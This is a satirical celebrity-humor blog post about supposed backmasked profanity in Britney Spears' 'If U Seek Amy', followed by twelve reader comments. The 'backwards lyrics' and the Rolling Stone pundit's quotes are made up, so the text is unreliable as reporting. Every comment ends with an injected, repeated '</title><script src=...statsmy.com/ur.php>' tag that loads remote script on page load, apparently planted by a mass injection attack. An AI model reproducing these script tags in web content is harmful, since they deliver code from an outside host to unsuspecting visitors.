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Britney Spears Song If U Seek Amy Much More Profane Than Previously Thought

by Mark on 2/1/2009 (12)

Ha ha, hee hee, ha ha ho!

While thinly veiled profanity is hardly but anything novel in the music industry, Britney Spears new hit single 'If U Seek Amy' may pose more problems for radio censors due to its not so subtle sexual innuendo than anyone previously thought, according to Rolling Stone pop music pundit Starla Whorl. Whorl explains.

"If you listen to the song a few times, you kinda sorta hear the 'F' word used in a surreptitiously suggestive manner, but there's alot more to it than that. Our engineers played the song backwards, and found even more."

Whorl took a transcript from her desk and unfolded it like an origami chimichanga

"What reads 'Baby baby, have you seen Amy tonight. Is she in the bathroom, is she smokin' up outside', played backwards, sounds like 'Asian noodle, can I lick your apple strudel, lickity splits, bubble gum nips, salty, salty salty balls!', and 'Love me hate me, say what you want about me, but all of the boys and all of the girls are begging to if you seek Amy' translates into 'Masturbator, I'm your orange navel, but all of their nuts are stuck to my butt, candy nutroll, chocolate caramel butthole!"

Whorl softly placed the transcript down, tipped her trendy reading glasses to the nape of her nose and stared ahead stonily

"As you can see, there's more profanity in this song than in 3 seconds from any given Jay Zee video, but so what? I mean, sex sells, Brit is still sexy, so I say run with it. If you don't like it, change the station. That's what we all say"

No word is out how local radio stations plan to censor If U Seek Amy, if it all, but Whorl quipped "if you censor it, people will flock to the Internet to view the unedited version on YouTube, so what's the point...err...or maybe that was the point.

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1. by Kris on 2/2/2009 7:45:19 AM

Why must you always be picking on Britney? She's just a nice, wholesome girl trying to make it in this cruel world.

:)

It's amazing too how the mention of Britney, Lohan, or the Olsen Twinns generates traffic to that story. People like their celebrity divas.?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by MOtz on 2/2/2009 8:41:41 AM

Yeah, go figger. Fark please!"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Kris on 2/2/2009 10:48:56 PM

It has been done.isplay </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Matt on 2/3/2009 11:21:10 AM

That's ridiculous... it's called "subliminal perception" and it is simply a matter of mental construct. It is much more likely that no deliberation was taken in writing the lyrics so that when played backward, such profanity would become evident. Basically, the woman who translated the backward-played version is a pervertone" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Kris on 2/3/2009 11:54:57 AM

It is completely irresponsible for musicians today not to listen to their music backwards before releasing it to the public, expecially when that public happens to be largely madeup of gradeschool children. This is coruption of our youth on a massive scale and cannot be tolerated.n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Motz on 2/3/2009 12:28:33 PM

I agree that porn is in the mind of the behlder. I mean, just ask Kris what he thinks the "Big Meat" pizza is...I mean, don't even Go there. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by I LOVE BRITNEY : ) on 2/8/2009 7:47:07 PM

WOW !!! do you guys really have no life that you have to play Britneys songs backwards.... really who does that??isplay:n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Motz on 2/9/2009 12:59:49 AM

Did you ever play a lil' Wayne song backwards? I mean, girl...don't even Go there!nemo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by I LOVE BRITNEY : ) on 2/9/2009 3:40:29 PM

Well thats lil wayne.. what do you expect.. I personally love britney and I dont think that people should be picking on her all the time.. its like really give her a break..!!< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Motz on 2/9/2009 3:53:22 PM

You dissin' lil' wayne?...yo?"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Saxybandit on 4/19/2009 10:04:58 AM

Also, in the language that woman "translated" one word can be deciphered with various words dependng on the affliction of the word."0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by Jeff on 8/27/2009 11:51:28 AM

The lyrics mentioned here in the backwards rendition are complete bull. None of it is true, if you play the song backwards it just sounds like gibberish. I reversed the song using the sample editor in Apple's Logic Pro 9 hoping to hear more profanity but was highly disappointed. Maybe I'll have more luck/fun with Judas Priestisplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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